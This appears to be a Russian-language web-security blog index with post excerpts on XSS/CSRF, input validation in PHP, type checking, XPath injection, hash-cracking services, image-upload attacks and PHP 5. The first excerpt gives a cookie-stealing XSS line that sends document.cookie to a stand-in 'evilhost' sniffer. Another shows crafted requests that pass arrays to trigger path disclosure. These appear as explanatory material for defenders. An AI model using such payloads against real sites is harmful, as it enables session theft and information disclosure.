HTML & JS: взаимодействие с удаленным сервером

Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:

  1. перенаправление с помощью location.replace()
    document.location.replace("http://evilhost/snif.php?c="+document.cookie);
  2. динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие. Continue reading “HTML & JS: взаимодействие с удаленным сервером”

Удаленное администрирование сайтом

У многих людей сложилось представление, что администраторская панель сайта всегда имеет только web-интерфейс. На самом деле теоретически возможно реализовать админку в виде обычной программы, которую можно запустить на собственном компьютере. Возможно уже существуют подобные, но я пока их не встречал =) Эта идея мне пришла в голову после работы с WinBinder, о котором я писал не так давно. С точки зрения безопасности админка, релизованная в виде программы, имеет ряд преимуществ. Не секрет, что на многих сайтах админ-панель обычно расположена в таких директориях, как admin/, a/, backend/, administration/, adm/, и т.д., что легко вычисляется злоумышленниками. Если же мы используем удаленную админку, то возможность перебора пароля хакерами исключается. Более того, весь функционал по администрированию сайтом вообще не находится на сервере! Доступ к панели администрирования имеет только тот пользователь, на компьютере которого установлена данная программа.

Continue reading “Удаленное администрирование сайтом”

Функция для обработки входящих данных

Собственно вот и обещанная мной функция для обработки данных, поступающих от пользователя. Для получения одной переменной вызываем так (какие аргументы передавать думаю и так ясно):

<?php
$var = import_var('var','G','INT',3);
?>

Для получения одновременно нескольких однотипных переменных вызов функции немного отличается:

<?php
extract(import_var(array('var1','var2','var3'),'G','INT',3));
echo $var1;
echo $var2;
echo $var3;
?>

Continue reading “Функция для обработки входящих данных”

Проверяйте тип данных

В дополнение к прошлому посту, и как подметил автор SecureBlog’а, хотел бы добавить следующее: прежде чем осуществлять обработку данных на их содержимое необходимо проверять их тип. Если этому не уделять внимания, то недостаточная проверка типов данных может привести к раскрытию пути, т.к. функция, которая ожидает получить, например, числовое значение в качестве одного из аргументов, приняв строку или массив, как правило, вызывает ошибку уровня E_WARNING:

Warning: urlencode() expects parameter 1 to be string, array given in C:\Webservers\localhost\www\index.php on line 3

Передать массив вместо строки или числа очень просто:
GET-запрос:

GET /index.php?mode[]=main HTTP/1.1
Host: somehost.com
Connection: close

POST-запрос:

POST /index.php HTTP/1.1
Host: somehost.com
Content-Type: application/x-www-form-urlencoded
Connection: close

postfield[]=blah

Массив в Cookie:

GET /index.php HTTP/1.1
Host: somehost.com
Cookie: auth[]=8c510f5172628316f5435fc9bc0c4d17
Connection: close

Скоро выложу свою функцию, общие принципы реализации которой я описывал в прошлом посте.

Как нужно проверять входящие данные

Фильтрация данных, поступающих со стороны пользователя, с точки зрения безопасности самый важный компонент любого веб-приложения. Сегодня я хотел бы рассказать какие основные составляющие по-моему мнению должна включать правильная обработка входящих данных. Первое и самое главное правило – все, что приходит от пользователя или каким-либо образом может быть им изменено, должно проходить обязательную проверку на стороне сервера. Однако всеми излюбленный метод, при котором ко всем элементам массивов GET, POST и Cookie применяется addslashes(), не является абсолютно безопасным. Continue reading “Как нужно проверять входящие данные”

Введение в XPath-инъекции

XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:

<?xml version="1.0" encoding="UTF-8"?>
<foo>
<bar param="value"/>
</foo>

XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:

<?xml version="1.0" encoding="UTF-8"?>
<foo>
<bar param="value"/>
</foo>

Continue reading “Введение в XPath-инъекции”

Топ 10 лучших онлайн сервисов по расшифровке хэшей

Представляю свой неофициальный рейтинг лучших онлайн-сервисов, позволяющих расшифровать хэши. В своих оценках я руководствовался следующими критериями:

  • бесплатность доступа
  • размер словаря
  • поддерживаемые типы хэшей
  • наличие детального криптоанализа (например с помощью Rainbow-таблиц)
    Обновлено 29.03.2013 Continue reading “Топ 10 лучших онлайн сервисов по расшифровке хэшей”

WinBinder: новый взгляд на PHP

Возможностью компилияции PHP-скриптов в standalone-приложения в настоящее время никого не удивишь. Для этой цели существует множество программ, однако они позволяют превратить PHP-сценарий лишь в консольное приложение. GUI-интерфейс для PHP-скриптов можно создать с помощью PHP-GTK, но лично мне больше по душе WinBinder. Разница в визуальном представлении приложений, разработанных с помощью этих двух расширений для PHP, очевидна. Программы с GTK-интерфейсом в Windows выглядят очень некрасиво, ввиду кросплатформенного стандарта, в то время как приложения, созданные с помощью WinBinder, ничем не отличаются от обычных виндовых аналогов, так как имеют стандратные кнопки, прогресс бары, табы и т.д. С точки зрения организации доступа к возможностям PHP-GTK и WinBinder, также можно обнаружить серьезные различия. PHP-GTK предоставляет объектно-ориентированный интерфейс к огромному количеству классов и функций GTK+. Что касается WinBinder, для написания простейшего Hello World необходимо знать всего несколько основных функций.

Continue reading “WinBinder: новый взгляд на PHP”

Безопасность загружаемых изображений

Ни для кого не секрет, что возможность загрузки различных изображений на удаленный сервер всегда вызывала глубочайший интерес хакеров. В частности, под прицел взломщиков попадали форумы с корявой реализацией аплоада аваторов, а также фото-галереи, позволявшие загрузить произвольные файлы. В настоящее время ситуация нисколько не изменилась: сохранились не только старые виды уязвимостей, но и появились новые, связанные с такой технологией как обработка метаданных. Дело в том, что администраторы, контролируя общую безопасность своих сайтов, не уделяют должного внимания проверке содержания загружаемых изображений. Кроме того, некоторые даже умудряются создавать скрипты, абсолютно не следящие за расширениями файлов, что приводит к загрузке чего угодно, вплоть до PHP-шеллов. В данной статье мы рассмотрим способы атак на веб-сайты, связанные с аплоадом графических изображений.

Continue reading “Безопасность загружаемых изображений”

Я люблю PHP 5 =)

Давным-давно, во времена PHP 4, кодить было страшно неудобно. Например, в циклах foreach() невозможно было изменять значение элементов массива – приходилось использовать for(), что, например, меня жутко раздражало. Недавно обнаружил, что PHP версии 5 предоставляет такую возможность: для того, чтобы изменять элементы массива нужно передавать их по ссылке (by reference), т.е. добавлять & перед названием переменной:

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// теперь $arr это массив 2, 4, 6, 8
?>

Красотище!